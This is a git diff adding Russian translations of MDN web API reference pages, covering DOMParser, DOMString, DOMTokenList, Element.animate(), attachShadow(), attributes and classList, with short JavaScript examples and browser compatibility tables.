+ * DOMParser HTML extension
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * КОД РАСПРОСТРАНЯЕТСЯ БЕЗ КАКИХ ЛИБО ГАРАНТИЙ. ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var
+	  proto = DOMParser.prototype
+	, nativeParse = proto.parseFromString
+	;
+
+	// Firefox/Opera/IE throw errors on unsupported types
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	proto.parseFromString = function(markup, type) {
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('<!doctype') > -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return nativeParse.apply(this, arguments);
+		}
+	};
+}(DOMParser));
+
+ +

DOMParser from Chrome/JSM/XPCOM/Privileged Scope

+ +

Смотрите статью по ссылке: nsIDOMParser

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM Parsing', '#the-domparser-interface', 'DOMParser')}}{{Spec2('DOM Parsing')}}Первоначальное определение
+ +

Поддержка браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
XML support{{CompatChrome(1)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(1)}}{{CompatIE(9)}}{{CompatOpera(8)}}{{CompatSafari(3.2)}}
SVG support{{CompatChrome(4)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(10.0)}}{{CompatIE(10)}}{{CompatOpera(15)}}{{CompatSafari(3.2)}}
HTML support{{CompatChrome(30)}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(12.0)}}{{CompatIE(10)}}{{CompatOpera(17)}}{{CompatSafari(7.1)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
XML support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
SVG support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(10.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
HTML support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(12.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/domstring/index.html b/files/ru/web/api/domstring/index.html new file mode 100644 index 0000000000..cfc59b52c1 --- /dev/null +++ b/files/ru/web/api/domstring/index.html @@ -0,0 +1,50 @@ +--- +title: DOMString +slug: Web/API/DOMString +translation_of: Web/API/DOMString +--- +

{{APIRef("DOM")}}

+ +

DOMString - это UTF-16 String. Так как JavaScript уже использует такие строки, DOMString непосредственно соответствует {{jsxref("String")}}.

+ +

Передача null в метод или параметр принимающему DOMString, как правило приводится к "null".

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}{{Spec2('WebIDL')}}Перефразированное описание для удаления странных крайних случаев.
{{SpecName('DOM3 Core', 'core.html#DOMString', 'DOMString')}}{{Spec2('DOM3 Core')}}Не изменилось с {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-C74D1578', 'DOMString')}}{{Spec2('DOM2 Core')}}Не изменилось с {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-C74D1578', 'DOMString')}}{{Spec2('DOM1')}}Изначальное определение.
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/domstringlist/index.html b/files/ru/web/api/domstringlist/index.html new file mode 100644 index 0000000000..2a643869ce --- /dev/null +++ b/files/ru/web/api/domstringlist/index.html @@ -0,0 +1,43 @@ +--- +title: DOMStringList +slug: Web/API/DOMStringList +translation_of: Web/API/DOMStringList +--- +

{{APIRef("DOM")}}{{Obsolete_header}}

+ +

Тип возвращаемый некоторыми API, который содержит список DOMString (строки).

+ +

Свойства

+ +
+
{{domxref("DOMStringList.length")}} {{ReadOnlyInline}}
+
Возвращает длинну списка.
+
+ +

Методы

+ +
+
{{domxref("DOMStringList.item()")}}
+
Возвращает {{domxref("DOMString")}}.
+
{{domxref("DOMStringList.contains()")}}
+
Возвращает {{jsxref("Boolean")}} с указанием, есть ли данная строка в списке.
+
+ +

Спецификациии

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("DOM3 Core", "core.html#DOMStringList", "DOMStringList")}}{{Spec2("DOM3 Core")}}Изначальное описание.
diff --git a/files/ru/web/api/domstringmap/index.html b/files/ru/web/api/domstringmap/index.html new file mode 100644 index 0000000000..bea01845fe --- /dev/null +++ b/files/ru/web/api/domstringmap/index.html @@ -0,0 +1,99 @@ +--- +title: DOMStringMap +slug: Web/API/DOMStringMap +tags: + - API +translation_of: Web/API/DOMStringMap +--- +

{{ APIRef("HTML DOM") }}

+ +

Used by the {{ htmlattrxref("dataset") }} HTML attribute to represent data for custom attributes added to elements.

+ +

Доступные методы

+ + + + + + + + + + + + + + + + + + + +
DOMString getDataAttr(in DOMString prop);
boolean hasDataAttr(in DOMString prop);
void removeDataAttr(in DOMString prop);
void removeProp(in nsIAtom attr);
void setDataAttr(in DOMString prop, in DOMString value);
+ +

Методы

+ +

hasDataAttr()

+ +
boolean hasDataAttr(
+  in DOMString prop
+);
+
+ +

Аргументы

+ +
+
prop
+
The property for which to check for the existence of a value.
+
+ +

Возвращаемое значение

+ +

true if the property exists; otherwise false.

+ +

removeDataAttr()

+ +
void removeDataAttr(
+  in DOMString prop
+);
+
+ +

Parameters

+ +
+
prop
+
The property to remove from the data set.
+
+ +

removeProp()

+ +

Removes the property from the dataset object. Used to update the dataset object when data-* attribute has been removed from the element.

+ +
void removeProp(
+  in nsIAtom attr
+);
+
+ +

Parameters

+ +
+
attr
+
The property to remove from the dataset.
+
+ +

Поддержка браузерами

+ +

 

+ + + +

{{Compat("api.DOMStringMap")}}

+ +

См. далее

+ + diff --git a/files/ru/web/api/domtokenlist/index.html b/files/ru/web/api/domtokenlist/index.html new file mode 100644 index 0000000000..d0b34d6749 --- /dev/null +++ b/files/ru/web/api/domtokenlist/index.html @@ -0,0 +1,111 @@ +--- +title: DOMTokenList +slug: Web/API/DOMTokenList +translation_of: Web/API/DOMTokenList +--- +
{{APIRef("DOM")}}
+ +

DOMTokenList интерфейс представляет собой набор разделённых пробелами токенов. Такой набор возвращается от {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, или {{domxref("HTMLOutputElement.htmlFor")}}. Он в начале индексируется 0 как в объектах JavaScript.  DOMTokenList всегда чувствителен к регистру.

+ +

Свойства

+ +
+
{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}
+
- целое число, которое представляет собой число объектов хранящееся в объекте
+
{{domxref("DOMTokenList.value")}}
+
Список значений  {{domxref("DOMString")}}.
+
+ +

Методы

+ +
+
{{domxref("DOMTokenList.item()")}}
+
Возвращает элемент из списка по индексу (возвращает undefined если число больше или равно длине списка).
+
{{domxref("DOMTokenList.contains()")}}
+
Возвращает true если список содержит отданный токен, иначе false.
+
{{domxref("DOMTokenList.add()")}}
+
Добавляет отданный токен в список.
+
{{domxref("DOMTokenList.remove()")}}
+
Удаляет указанный токен из списка.
+
{{domxref("DOMTokenList.replace()")}}
+
Заменяет существующий токен новым.
+
{{domxref("DOMTokenList.supports()")}}
+
Возвращает true если отданный токен поддерживается токенами в связанном атрибуте
+
{{domxref("DOMTokenList.toggle()")}}
+
Удаляет отданный токен из списка и возвращает false. Если токена не существует, то он добавляется и функция возвращает true.
+
{{domxref("DOMTokenList.entries()")}}
+
Возвращает {{jsxref("Iteration_protocols","iterator")}} позволяя пройтись по всем парам ключ/значение хранящимся в объекте.
+
{{domxref("DOMTokenList.forEach()")}}
+
Выполняет предусмотренную функцию к каждому элементу DOMTokenList.
+
{{domxref("DOMTokenList.keys()")}}
+
Возвращает {{jsxref("Iteration_protocols", "iterator")}} позволяя пройтись по всем ключам всех пар ключ/значение, хранящихся в объекте.
+
{{domxref("DOMTokenList.values()")}}
+
Возвращает {{jsxref("Iteration_protocols", "iterator")}} позволяя пройтись по всем значениям пар ключ/значение, хранящихся в объектах.
+
+ +

Примеры

+ +

В следующем простом примере мы извлекаем список классов установленных в элементе {{htmlelement("p")}} как DOMTokenList используя {{domxref("Element.classList")}}, добавляем класс используя {{domxref("DOMTokenList.add()")}}, затем обновляем {{domxref("Node.textContent")}} в элементе <p> чтобы уравнять с DOMTokenList.

+ +

Сперва HTML:

+ +
<p class="a b c"></p>
+ +

Теперь JavaScript:

+ +
var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';
+ +

Результат выглядит так:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Обрезка пробелов и удаление дупликатов

+ +

Метод, который модифицирует DOMTokenList (как {{domxref("DOMTokenList.add()")}}) автоматически обрезает все излишки {{Glossary("Whitespace")}} и удаляет значения дупликатов из списка. Пример: 

+ +
<span class="    d   d e f"></span>
+ +
var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';
+ +

Результат выглядит так:

+ +

{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}

+ +

Характеристики

+ + + + + + + + + + + + + + + + +
ХарактеристикиСтатусКомментарий
{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}{{Spec2("DOM WHATWG")}}Начальное определение
+ +

Совместимость браузера

+ + + + + +

{{Compat("api.DOMTokenList")}}

+ +

Смотрите также:

+ + diff --git a/files/ru/web/api/domtokenlist/replace/index.html b/files/ru/web/api/domtokenlist/replace/index.html new file mode 100644 index 0000000000..1a9c51f16b --- /dev/null +++ b/files/ru/web/api/domtokenlist/replace/index.html @@ -0,0 +1,95 @@ +--- +title: DOMTokenList.replace() +slug: Web/API/DOMTokenList/replace +translation_of: Web/API/DOMTokenList/replace +--- +

{{APIRef("DOM")}}

+ +

Метод replace() интерфейса {{domxref("DOMTokenList")}} заменяет существующий класс на новый класс. Если первый не существует, то replace() сразу же возрващает false, без добавления нового класса в список классов.

+ +

Синтаксис

+ +
tokenList.replace(oldToken, newToken);
+ +

Параметры

+ +
+
oldToken
+
{{domxref("DOMString")}} - класс, который вы хотите заменить.
+
newToken
+
{{domxref("DOMString")}} класс, которым вы хотите заменить класс oldToken.
+
+ +

Возвращает значение

+ +

Boolean, которое будет true, если oldToken был успешно заменен, или false в противном случе.

+ +
+

Примечание: В старых браузерах replace() возвращает void.

+
+ +

Примеры

+ +

В следующем примере мы получаем список классов, установленных в элементе {{htmlelement("span")}} как DOMTokenList, используя {{domxref("Element.classList")}}. Затем мы заменяем класс в списке и записываем список в {{domxref("Node.textContent")}}, принадлежащий <span>.

+ +

В HTML:

+ +
<span class="a b c"></span>
+ +

В JavaScript:

+ +
let span = document.querySelector("span");
+let classes = span.classList;
+
+let result = classes.replace("c", "z");
+console.log(result);
+
+if (result) {
+  span.textContent = classes;
+} else {
+  span.textContent = 'token not replaced successfully';
+}
+ +

Результат выглядит так:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Полифилл

+ +

Следующий полифилл добавит метод replace в класс DOMTokenList.  Селудющий код будет работать только с IE10-11. Чтобы использовать с более ранними версиями IE, обратитесь к полифиллу по {{domxref("element.classList#Polyfill")}}

+ +
DOMTokenList.prototype.replace = function (a, b) {
+    if (this.contains(a)) {
+        this.add(b);
+        this.remove(a);
+        return true;
+    }
+    return false;
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG','#dom-domtokenlist-replace','replace()')}}{{Spec2('DOM WHATWG')}}Первоначальное опредение
+ +

Совместимость с браузерами

+ +
+ + +

{{Compat("api.DOMTokenList.replace")}}

+
diff --git a/files/ru/web/api/effecttiming/index.html b/files/ru/web/api/effecttiming/index.html new file mode 100644 index 0000000000..5949858a47 --- /dev/null +++ b/files/ru/web/api/effecttiming/index.html @@ -0,0 +1,73 @@ +--- +title: EffectTiming +slug: Web/API/EffectTiming +tags: + - API + - Animation + - Dictionary + - EffectTiming + - Experimental + - animate + - web animation + - web animation api +translation_of: Web/API/EffectTiming +--- +
{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}
+ +

Словарь EffectTiming, входящий в состав Web Animations API, используется в {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, и {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} для описания временных свойств анимационных эфектов. Все эти свойства необязательные, хотя без установки duration анимация не будет воспроизводиться.

+ +

Проще говоря, эти свойства описывают как {{Glossary("user agent")}} должен выполнять переход от ключевого кадра к ключевому кадру, и как вести себя, когда анимация начинается и заканчивается.

+ +

Свойства

+ +
+
{{domxref("EffectTiming.delay", "delay")}} {{optional_inline}}
+
Число миллисекунд для задержки начала анимации. По умолчанию 0.
+
{{domxref("EffectTiming.direction", "direction")}} {{optional_inline}}
+
Указывает направление анимации. Она может выполняться вперёд (normal), назад (reverse), переключать направление после каждой итерации (alternate), или работать назад и переключать после каждой итерации (alternate-reverse). По умолчанию "normal".
+
{{domxref("EffectTiming.duration", "duration")}} {{optional_inline}}
+
Число миллисекунд, в течении которых выполняется каждая итерация анимации. По умолчанию 0. Хотя это свойство технически необязательное, имейте ввиду, что ваша анимация не будет запущена, если это значение равно 0.
+
{{domxref("EffectTiming.easing", "easing")}} {{optional_inline}}
+
Скорость изменения анимации с течением времени. Принимает заранее определённые значения "linear", "ease", "ease-in", "ease-out", и "ease-in-out", или кастомное "cubic-bezier" со значением типа "cubic-bezier(0.42, 0, 0.58, 1)". По умолчанию "linear".
+
{{domxref("EffectTiming.endDelay", "endDelay")}} {{optional_inline}}
+
Число миллисекунд задержки после окончания анимации. Это в первую очередь полезно, когда последовательность действий анимации базируется на окончании другой анимации. По умолчанию 0.
+
{{domxref("EffectTiming.fill", "fill")}} {{optional_inline}}
+
Диктует должны ли эффекты анимации отражаться элементом(ами) перед воспроизведением ("backwards"), сохраняться после того, как анимация завершилась ("forwards"), или и то и другое ("both"). По умолчанию "none".
+
{{domxref("EffectTiming.iterationStart", "iterationStart")}} {{optional_inline}}
+
Описывает, в какой момент итерации должна начаться анимация. Например, значение 0.5 указывает на начало запуска анимации в середине первой итерации, с таким набором значений анимация с 2-мя итерациями будет закончена на полпути к третей итерации. По умолчанию 0.0.
+
{{domxref("EffectTiming.iterations", "iterations")}} {{optional_inline}}
+
Число раз, которое анимация должна повторяться. По умолчанию 1, может принимать значение до {{jsxref("Infinity")}}, чтобы повторять анимацию до тех пор, пока элемент существует.
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Animations', '#the-effecttiming-dictionaries', 'EffectTiming' )}}{{Spec2('Web Animations')}}Первоначальное определение
+ +

Browser compatibility

+ + + +

{{Compat("api.EffectTiming")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/accesskey/index.html b/files/ru/web/api/element/accesskey/index.html new file mode 100644 index 0000000000..8ba1a39596 --- /dev/null +++ b/files/ru/web/api/element/accesskey/index.html @@ -0,0 +1,73 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +translation_of: Web/API/HTMLElement/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

Описание

+ +

Свойство accessKey позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.

+ +
+

По сути, accessKey задает значение для одноименного атрибута...

+
+ +
+

Данное свойство использовать не рекоммендуется, поскольку в браузерах уже заданы подобные привязки и неосторожное обращение может привести к жестокому конфликту.

+
+ +

 

+ +

Синтаксис

+ +
var key = elem.accessKey;
+elem.accessKey = key;
+
+ +

 

+ +

Пример

+ +
var elem = document.getElementById("id");
+elem.accessKey = "w";
+
+ +

Немного информации

+ +

Фокусировка на элемент произойдет при нажатии следующих клавиш (,где acesskey - значение свойства acessKey).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

      Браузер

+ 		+

      Сочетание

+
Firefox[Alt] [Shift] + accesskey
Internet Explorer[Alt] + accesskey
Chrome[Alt] + accesskey
Safari[Alt] + accesskey
Opera[Shift] [Esc] + accesskey
diff --git a/files/ru/web/api/element/animate/index.html b/files/ru/web/api/element/animate/index.html new file mode 100644 index 0000000000..04f7a3bad6 --- /dev/null +++ b/files/ru/web/api/element/animate/index.html @@ -0,0 +1,117 @@ +--- +title: Element.animate() +slug: Web/API/Element/animate +tags: + - API + - Animation + - Element + - Experimental + - Method + - Reference + - web animation +translation_of: Web/API/Element/animate +--- +
{{APIRef('Web Animations')}} {{SeeCompatTable}}
+ +

Метод animate() интерфейса {{domxref("Element")}} это быстрый способ создания {{domxref("Animation")}}, которая сразу применяется к элементу, а затем проигрывает эту анимацию. Метод возвращает созданный экземпляр класса {{domxref("Animation")}}.

+ +
+

Элементы  могут иметь несколько, прикреплённых к ним, анимаций. Вы можете получить список анимаций, которые влияют на элемент, вызвав {{domxref("Element.getAnimations()")}}.

+
+ +

Синтаксис

+ +
var animation = element.animate(keyframes, options); 
+ +

Параметры

+ +
+
keyframes
+
+

Массив объектов ключевых кадров, либо объект ключевого кадра, свойства которого являются массивами значений для итерации. Смотрите Keyframe Formats для получения подробной информации.

+
+
options
+
Целое число, представляющее продолжительность анимации (в миллисекундах), или объект, содержащий одно или более временных свойств.
+
+
+
id {{optional_inline}}
+
Свойство уникальное для animate(): DOMString, с помощью которого можно ссылаться на анимацию.
+
+ {{Page("ru/docs/Web/API/EffectTiming", "Свойства")}}
+
+ +

Будущие возможности

+ +

Следующие возможности в настоящее нигде не поддерживаются, но будут добавлены в ближайшем будущем .

+ +
+
composite {{optional_inline}}
+
Определяет, как значения объединяются между этой анимацией и другими отдельными анимациями, которые не задают свою собственную конкретную составную операцию. По умолчанию replace. +
    +
  • add диктует аддитивный эффект, где каждая последующая итерация строится на последней. Пример с transform, translateX(-200px) не будут переопределять ранний вариант со значением rotate(20deg), поэтому результат будет translateX(-200px) rotate(20deg).
    • +
  • accumulate схоже, но немного умнее: blur(2) и blur(5) станет blur(7), а не blur(2) blur(5).
    • +
  • replace переписывает предыдущие значения на новые.
    • +
+
+
iterationComposite {{optional_inline}}
+
Определяет как значения строятся от итерации к итерации в этой анимации. Может быть установлено как accumulate или replace (смотрите выше). По умолчанию replace.
+
spacing {{optional_inline}}
+
Определяет как ключевые кадры, без временных смещений, должны распределяться по всей длительности анимации. По умолчанию distribute. +
    +
  • distribute позиционирует ключевые кадры так, чтобы разница между последующими смещениями ключевых кадров была равна, то есть без каких-либо смещений, ключевые кадры будут равномерно распеределены по всему времени проигрыша анимации.
    • +
  • paced позиционирует ключевые кадры так, чтобы расстояние между последующими значениями заданного темпового свойства было равным, то есть, чем больше разница в значениях свойств ключевых кадров, тем на большем расстоянии они расположены друг от друга.
    • +
+ +

 

+
+
+ +

Возвращаемое значение

+ +

Возвращает {{domxref("Animation")}}.

+ +

Пример

+ +

В демо Down the Rabbit Hole (with the Web Animation API), мы используем удобный метод animate(), чтобы сразу создать и проиграть анимацию на элементе #tunnel, чтобы заставить его крутиться в падении, бесконечно. Обратите внимание на массив объектов, в котором переданы ключевые кадры, а также блок временных параметров.

+ +
document.getElementById("tunnel").animate([
+  // keyframes
+  { transform: 'translate3D(0, 0, 0)' },
+  { transform: 'translate3D(0, -300px, 0)' }
+], {
+  // timing options
+  duration: 1000,
+  iterations: Infinity
+})
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Animations', '#the-animatable-interface', 'animate()' )}}{{Spec2('Web Animations')}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Element.animate")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/element/attachshadow/index.html b/files/ru/web/api/element/attachshadow/index.html new file mode 100644 index 0000000000..39d19a42ef --- /dev/null +++ b/files/ru/web/api/element/attachshadow/index.html @@ -0,0 +1,151 @@ +--- +title: Element.attachShadow() +slug: Web/API/Element/attachShadow +translation_of: Web/API/Element/attachShadow +--- +

{{APIRef('Shadow DOM')}} {{SeeCompatTable}}

+ +

Метод Element.attachShadow() добавляет теневое DOM дерево к указанному элементу и возвращает ссылку на его ShadowRoot( корневой элемент созданного дерева).

+ +

Элементы которые можно добавить в тенейвой DOM

+ +

Обратите внимание, что не каждый элемент можно добавить в корень теневого дерева. Некоторые типы исключены по соображениям безопасности(например {{htmlelement("a")}}), и некоторые другие. Вот список разрешенных элементов:

+ + + +

Синтаксис

+ +
var shadowroot = element.attachShadow(shadowRootInit);
+
+ +

Параметры

+ +
+
shadowRootInit
+
ShadowRootInit содержит следующие поля: +

mode: Строка указывающая на режим инкапсуляции для shadowDOM:

+ +
    +
  • open.  Указывает на открытие режима инкапсуляции.
    + Это означает что элементы shadowRoot доступны для внешнего мира element.shadowRoot
    + + 
    element.shadowRoot === shadowroot; // returns true
    +
    • +
  • closed. Указывает на закрытие режима инкапсуляции.
    + Этот режим запрещает доступ к узлам node(s) и закрыват теневой корень для внешнего мира
    + + 
    element.shadowRoot === shadowroot; // returns false
+element.shadowRoot === null; // returns true
+
    +
    • +
+
+
+ +

Возвращает

+ +

Вернёт a {{domxref("ShadowRoot")}} или null.

+ +

Исключения

+ + + + + + + + + + + + + + + + +
ИсключениеОписание
InvalidStateErrorЭлемент уже является хостом теневого DOM
NotSupportedErrorВы пытаетесь прикрепить shadow DOM к HTML элементу с некоректным именем, или к запрещенному элементу. (см. выше)
+ +

Примеры

+ +

Пример взят из демо компонента word-count-web-component, так-же доступно live demo. Вы можете найти метод attachShadow()  примерно в середине кода. Метод создает корневой элемент теневого DOM  к которому потом добавляется содержимое шаблона элемента.

+ +
//Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // count words in element's parent element
+    var wcParent = this.parentNode;
+
+    function countWords(node){
+      var text = node.innerText || node.textContent
+      return text.split(/\s+/g).length;
+    }
+
+    var count = 'Words: ' + countWords(wcParent);
+
+    // Create a shadow root
+    var shadow = this.attachShadow({mode: 'open'});
+
+    // Create text node and add word count to it
+    var text = document.createElement('span');
+    text.textContent = count;
+
+    // Append it to the shadow root
+    shadow.appendChild(text);
+
+    // Update count when element content changes
+    setInterval(function() {
+      var count = 'Words: ' + countWords(wcParent);
+      text.textContent = count;
+    }, 200)
+  }
+}
+
+// Define the new element
+customElements.define('word-count', WordCount, { extends: 'p' });
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-attachshadow', 'attachShadow()')}}{{Spec2('DOM WHATWG')}} 
+ +

Совместимость браузеров

+ +

{{Compat("api.Element.attachShadow")}}

+ +
 
diff --git a/files/ru/web/api/element/attributes/index.html b/files/ru/web/api/element/attributes/index.html new file mode 100644 index 0000000000..24564c8e24 --- /dev/null +++ b/files/ru/web/api/element/attributes/index.html @@ -0,0 +1,157 @@ +--- +title: Element.attributes +slug: Web/API/Element/attributes +translation_of: Web/API/Element/attributes +--- +

{{ APIRef("DOM") }}

+ +

Свойство Element.attributes возвращает группу атрибутов всех узлов, зарегистрированных в указанном узле. Это {{domxref("NamedNodeMap")}}, тоесть полученные данные не являются массивом Array, не содержат {{jsxref("Array")}} методы и {{domxref("Attr")}} индекс узлов может отличаться в различных браузерах. Если сказать более точно, атрибуты (attributes) это строка, пара ключ/значение которая представляет собой информацию относительно этого атрибута.

+ +

Синтаксис

+ +
var attr = element.attributes;
+
+ +

Пример

+ +

Базовые примеры

+ +
// Получить первый элемент <p> содержащийся в документе
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+ +

Перечисление атрибутов элементов

+ +

Числовое индексирование полезно для прохождения всех атрибутов элемента.
+ Следующий пример проходит через узлы атрибутов для элемента в документе с идентификатором «p1» и печатает значение каждого атрибута. 

+ +
<!DOCTYPE html>
+
+<html>
+
+ <head>
+  <title>Attributes example</title>
+  <script type="text/javascript">
+   function listAttributes() {
+     var paragraph = document.getElementById("paragraph");
+     var result = document.getElementById("result");
+
+     // Во-первых,  давайте убедимся, что в абзаце есть какие-то атрибуты
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output = "";
+       for(var i = attrs.length - 1; i >= 0; i--) {
+         output += attrs[i].name + "->" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "No attributes to show";
+     }
+   }
+  </script>
+ </head>
+
+<body>
+ <p id="paragraph" style="color: green;">Sample Paragraph</p>
+ <form action="">
+  <p>
+    <input type="button" value="Show first attribute name and value"
+      onclick="listAttributes();">
+    <input id="result" type="text" value="">
+  </p>
+ </form>
+</body>
+</html>
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}{{Spec2('DOM WHATWG')}}From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} to {{domxref("Element")}}
{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}{{Spec2('DOM3 Core')}}No change from {{SpecName('DOM2 Core')}}
{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}{{Spec2('DOM2 Core')}}No change from {{SpecName('DOM1')}}
{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]6.0 [2]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }} [1]{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

[1] Before Firefox 22, this attribute was implemented in the {{domxref("Node")}} interface (inherited by {{domxref("Element")}}). It has been moved to this interface to conform to the specification and the usage of other browsers.

+ +

[2] Internet Explorer 5.5 returns a map containing the values rather than the attribute objects.

+ +

See also

+ + diff --git a/files/ru/web/api/element/classlist/index.html b/files/ru/web/api/element/classlist/index.html new file mode 100644 index 0000000000..2ad0ee938f --- /dev/null +++ b/files/ru/web/api/element/classlist/index.html @@ -0,0 +1,237 @@ +--- +title: Element.classList +slug: Web/API/Element/classList +translation_of: Web/API/Element/classList +--- +
{{APIRef("DOM")}}
+ +

Описание

+ +

Свойство classList возвращает псевдомассив {{domxref("DOMTokenList")}}, содержащий все классы элемента.

+ +
+

У classList есть примитивная альтернатива - свойство className, которое содержит значение атрибута class элемента.

+
+ +

 

+ +

Синтаксис

+ +
var elementClasses = elem.classList;
+
+ + + +

 

+ +

Методы

+ +

ClassList является геттером. Возвращаемый им объект имеет несколько методов:

+ +
+
     add( String [,String] )    
+
   Добавляет элементу указанные классы
+
     remove( String [,String] )
+
    Удаляет у элемента указанные классы
+
item ( Number )
+     Результат аналогичен вызову сlassList[Number]
+
toggle ( String [, Boolean])
+     Если класс у элемента отсутствует - добавляет, иначе - убирает. Когда вторым параметром передано false - удаляет указанный класс, а если true - добавляет.
+
    Если вторым параметром передан undefined или переменная с typeof == 'undefined', поведение будет аналогичным передаче только первого параметра при вызове toggle.
+
contains ( String )
+     Проверяет, есть ли данный класс у элемента (вернет true или false)
+
+ +
+

И, конечно же, у ClassList есть заветное свойство length, которое возвращает количество классов у элемента.

+
+ +
+
 
+
+ +

Примеры

+ +
<div id="clock" class="example for you"> </div>
+
+ +
var elem = document.querySelector("#clock")
+
+//Выведем классы
+console.log(elem.classList); //DOMTokenList ["example", "for", "you"]
+
+//Добавим классы
+elem.classList.add("ok", "understand");
+console.log(elem.classList); //DOMTokenList ["example", "for", "you", "ok", "understand"]
+
+//Переключим классы
+elem.classList.toggle("you");
+elem.classList.toggle("he");
+console.log(elem.classList); //DOMTokenList ["example", "for", "ok", "understand", "he"]
+
+//Проверим класс
+console.log(elem.classList.contains("example")); //true
+console.log(elem.classList.contains("lol")); //false
+
+//И удалим классы
+elem.classList.remove("example", "for", "understand", "he");
+console.log(elem.classList); //DOMTokenList ["ok"]
+ +

 

+ +
+

В Firefox 25- в методах add, remove и toggle возможно указать только один аргумент. Смотрите: https://bugzilla.mozilla.org/show_bug.cgi?id=814014 

+
+ +

Полифилл

+ +
